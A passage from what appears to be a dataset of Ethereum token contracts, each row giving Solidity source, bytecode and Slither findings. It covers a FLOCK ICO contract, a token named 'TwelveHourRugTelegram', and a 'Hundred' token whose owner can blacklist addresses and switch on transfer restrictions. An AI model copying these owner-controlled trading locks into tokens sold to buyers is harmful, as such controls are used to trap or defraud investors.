uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
Round[] rounds;
struct Round {
uint start;
uint end;
uint price;
}
// This is a constructor function
// which means the following function name has to match the contract name declared above
function FLOCK() public {
totalSupply = 10000000000; // Update total supply
balances[msg.sender] = totalSupply; // Give the creator all initial tokens.
name = "FLOCK"; // Set the name for display purposes
decimals = 0; // Amount of decimals for display purposes
symbol = "FLK"; // Set the symbol for display purposes
fundsWallet = msg.sender; // The owner of the contract gets ETH
uint ts = 1523764800;
rounds.push(Round(ts, ts += 5 days, 500000)); // Round 1
rounds.push(Round(ts, ts += 5 days, 500000)); // Round 2
rounds.push(Round(ts, ts += 2 days, 250000)); // Round 3
rounds.push(Round(ts, ts += 2 days, 166667)); // Round 4
rounds.push(Round(ts, ts += 2 days, 125000)); // Round 5
rounds.push(Round(ts, ts += 2 days, 100000)); // Round 6
rounds.push(Round(ts, ts += 2 days, 83333)); // Round 7
rounds.push(Round(ts, ts += 2 days, 71429)); // Round 8
rounds.push(Round(ts, ts += 2 days, 62500)); // Round 9
rounds.push(Round(ts, ts += 2 days, 55556)); // Round 10
rounds.push(Round(ts, ts += 2 days, 50000)); // Round 11
}
/// @notice Gets the conversion rate for ETH purchases.
/// @return Amount of tokens per ETH paid.
function unitsOneEthCanBuy() public view returns (uint _units) {
for (uint i = 0; i < rounds.length; i++) {
Round memory round = rounds[i];
if (block.timestamp >= round.start && block.timestamp < round.end) {
return round.price;
}
}
return 0;
}
/// @notice Accepts payment of eth in exchange for a variable amount of tokens, depending
/// upon the conversion rate of the current sale round.
function() external payable {
uint ethInWei = msg.value;
totalEthInWei = totalEthInWei + ethInWei;
uint perEth = unitsOneEthCanBuy();
// The following division is necessary to convert the number of decimal places in
// eth(wei=`18`) and our number of `decimal` places, since we have `unitsPerEth`:
uint256 amount = ethInWei.mul(perEth).div(10**uint(18 - decimals));
require(amount > 0);
require(balances[fundsWallet] >= amount);
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
bytes memory empty;
processTransfer(fundsWallet, msg.sender, amount, empty);
}
/// @notice Approves and then calls the receiving contract
function approveAndCall(address _spender, uint256 _value, bytes _data) external returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
// Call the receiveApproval function on the contract you want to be notified.
iApprover(_spender).receiveApproval(msg.sender, _value, address(this), _data);
return true;
}
/// @notice Safety function so any accidentally sent ERC20 compliant tokens can be recovered.
function reclaimERC20(address _token, uint _tokens) external returns (bool _success) {
require(msg.sender == fundsWallet);
return Token(_token).transfer(msg.sender, _tokens);
}
}
interface iReceiver {
function tokenFallback(address _from, uint _value, bytes _data) external;
}
interface iApprover {
function receiveApproval(address _from, uint256 _value, address _token, bytes _data) external;
} | 0x6060604052600436106100cc5763ffffffff60e060020a60003504166306fdde0381146101ab578063095ea7b31461023557806318160ddd1461026b5780632194f3a21461029057806323b872dd146102bf578063313ce567146102e757806354fd4d501461031057806365f2bc2e1461032357806370a0823114610336578063933ba4131461035557806395d89b4114610368578063a9059cbb1461037b578063afdbd4991461039d578063be45fd62146103bf578063cae9ca51146103ee578063dd62ed3e1461041d575b60008060006100d9610c80565b34935083600754016007819055506100ef610442565b6001549093506101219060ff90811660120316600a0a610115868663ffffffff6104dc16565b9063ffffffff61051216565b91506000821161013057600080fd5b600854600160a060020a03166000908152600360205260409020548290101561015857600080fd5b600854600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561018c57600080fd5b6008546101a490600160a060020a0316338484610529565b5050505050005b34156101b657600080fd5b6101be610777565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101fa5780820151838201526020016101e2565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024057600080fd5b610257600160a060020a036004351660243561081f565b604051901515815260200160405180910390f35b341561027657600080fd5b61027e61088b565b60405190815260200160405180910390f35b341561029b57600080fd5b6102a3610891565b604051600160a060020a03909116815260200160405180910390f35b34156102ca57600080fd5b610257600160a060020a03600435811690602435166044356108a0565b34156102f257600080fd5b6102fa6108f8565b60405160ff909116815260200160405180910390f35b341561031b57600080fd5b6101be610901565b341561032e57600080fd5b61027e610442565b341561034157600080fd5b61027e600160a060020a036004351661099f565b341561036057600080fd5b61027e6109ba565b341561037357600080fd5b6101be6109c0565b341561038657600080fd5b610257600160a060020a0360043516602435610a33565b34156103a857600080fd5b610257600160a060020a0360043516602435610a51565b34156103ca57600080fd5b61025760048035600160a060020a0316906024803591604435918201910135610ae0565b34156103f957600080fd5b61025760048035600160a060020a0316906024803591604435918201910135610b26565b341561042857600080fd5b61027e600160a060020a0360043581169060243516610c2c565b60008061044d610c92565b600091505b6009548210156104d257600980548390811061046a57fe5b9060005260206000209060030201606060405190810160409081528254825260018301546020830152600290920154918101919091529050805142101580156104b65750806020015142105b156104c757806040015192506104d7565b600190910190610452565b600092505b505090565b6000808315156104ef576000915061050b565b508282028284828115156104ff57fe5b041461050757fe5b8091505b5092915050565b600080828481151561052057fe5b04949350505050565b600160a060020a03841660009081526003602052604081205481908490108015906105545750600084115b1561076957600160a060020a038616600090815260036020526040902054610582908563ffffffff610c5716565b600160a060020a0380881660009081526003602052604080822093909355908716815220546105b7908563ffffffff610c6916565b600160a060020a0386166000908152600360205260409020556105d985610c78565b156106bd575083600160a060020a03811663c0ee0b8a8786866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561065f578082015183820152602001610647565b50505050905090810190601f16801561068c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156106ac57600080fd5b5af115156106b957600080fd5b5050505b826040518082805190602001908083835b602083106106ed5780518252601f1990920191602091820191016106ce565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031687600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a46001915061076e565b600091505b50949350505050565b61077f610c80565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108155780601f106107ea57610100808354040283529160200191610815565b820191906000526020600020905b8154815290600101906020018083116107f857829003601f168201915b5050505050905090565b600160a060020a03338116600081815260046020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b600854600160a060020a031681565b60006108aa610c80565b600160a060020a03808616600090815260046020908152604080832033909416835292905220548390106108eb576108e485858584610529565b91506108f0565b600091505b509392505050565b60015460ff1690565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109975780601f1061096c57610100808354040283529160200191610997565b820191906000526020600020905b81548152906001019060200180831161097a57829003601f168201915b505050505081565b600160a060020a031660009081526003602052604090205490565b60075481565b6109c8610c80565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108155780601f106107ea57610100808354040283529160200191610815565b6000610a3d610c80565b610a4933858584610529565b949350505050565b60085460009033600160a060020a03908116911614610a6f57600080fd5b82600160a060020a031663a9059cbb338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ac357600080fd5b5af11515610ad057600080fd5b5050506040518051949350505050565b6000610b1d33868686868080601f016020809104026020016040519081016040528181529291906020840183838082843750610529945050505050565b95945050505050565b600160a060020a03338116600081815260046020908152604080832094891680845294909152808220879055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259087905190815260200160405180910390a384600160a060020a0316638f4ffcb1338630878760405160e060020a63ffffffff8816028152600160a060020a038087166004830190815260248301879052908516604483015260806064830190815260848301849052909160a40184848082843782019150509650505050505050600060405180830381600087803b1515610c1157600080fd5b5af11515610c1e57600080fd5b506001979650505050505050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600082821115610c6357fe5b50900390565b60008282018381101561050757fe5b6000903b1190565b60206040519081016040526000815290565b60606040519081016040528060008152602001600081526020016000815250905600a165627a7a72305820a6c822e617619370cee084755cba09a71e03d8030e53917cf01006a49ddbc1020029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,348 |
0x6bafcf0c190913dcf835e0d0c3f040ce8e8671d3 | pragma solidity ^0.5.7;
// Join @TwelveHourRugTelegram on telegram
/*
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
/**
* @dev See {IERC20-allowance}.
*/
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
/* function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
/* function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
/* function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
/* function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
/* function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
/* function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
/* function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
/*function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
/* function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
/* function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
/* function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract GovernedMinterRole is Module {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor(address _nexus) internal Module(_nexus) {
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyGovernor {
_addMinter(account);
}
function removeMinter(address account) public onlyGovernor {
_removeMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* @dev Returns the name of the token.
*/
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract TwelveHourRugTelegram {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;
// Modify this section
string public name = "TwelveHourRugTelegram";
string public symbol = "TWTH";
uint8 public decimals = 18;
uint256 public totalSupply = 10000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
// Initially assign all tokens to the contract's creator.
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce5671461022557806370a082311461024957806395d89b41146102a1578063a9059cbb14610324578063dd62ed3e1461038a57610093565b806306fdde0314610098578063095ea7b31461011b57806318160ddd1461018157806323b872dd1461019f575b600080fd5b6100a0610402565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100e05780820151818401526020810190506100c5565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101676004803603604081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104a0565b604051808215151515815260200191505060405180910390f35b610189610592565b6040518082815260200191505060405180910390f35b61020b600480360360608110156101b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610598565b604051808215151515815260200191505060405180910390f35b61022d610800565b604051808260ff1660ff16815260200191505060405180910390f35b61028b6004803603602081101561025f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610813565b6040518082815260200191505060405180910390f35b6102a961082b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e95780820151818401526020810190506102ce565b50505050905090810190601f1680156103165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103706004803603604081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c9565b604051808215151515815260200191505060405180910390f35b6103ec600480360360408110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1d565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105e557600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561066e57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561091657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560205281600052604060002060205280600052604060002060009150915050548156fea165627a7a72305820b5415b9bc945afa3f9580a8afd9f04ca83f7b3e92c54decff1d153caa60608480029 | {"success": true, "error": null, "results": {}} | 10,349 |
0x5e6632c2324bc51aa429e2520e5f4586c71ed20f | /**
*Submitted for verification at Etherscan.io on 2021-07-14
*/
/*
https://t.me/hundred_token
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Hundred is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hundred Token";
string private constant _symbol = "HH";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
